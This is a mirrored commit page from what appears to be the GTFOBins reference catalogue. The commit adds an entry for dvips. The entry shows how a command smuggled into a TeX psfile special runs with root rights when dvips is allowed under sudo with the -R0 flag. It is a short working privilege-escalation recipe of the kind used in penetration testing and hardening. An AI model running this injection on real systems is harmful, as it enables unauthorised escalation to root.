mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Create dvips.md
Add dvips.
This commit is contained in:
parent
dbb2e24ff0
commit
85010470b2
8
_gtfobins/dvips.md
Normal file
8
_gtfobins/dvips.md
Normal file
@ -0,0 +1,8 @@
|
||||
functions:
|
||||
sudo:
|
||||
- code: |
|
||||
echo "\documentclass[12pt]{article} \begin{document}" > file.tex
|
||||
echo '$$\hbox to5cm{\vbox to5cm{\vfil\special{psfile="`PROGRAM > /tmp/result"}}\hfill}$$' >> file.tex
|
||||
echo "\end{document}" >> file.tex
|
||||
tex -interaction=nonstopmode file.tex && sudo dvips -R0 file.dvi
|
||||
cat /tmp/result
|
Loading…
Reference in New Issue
Block a user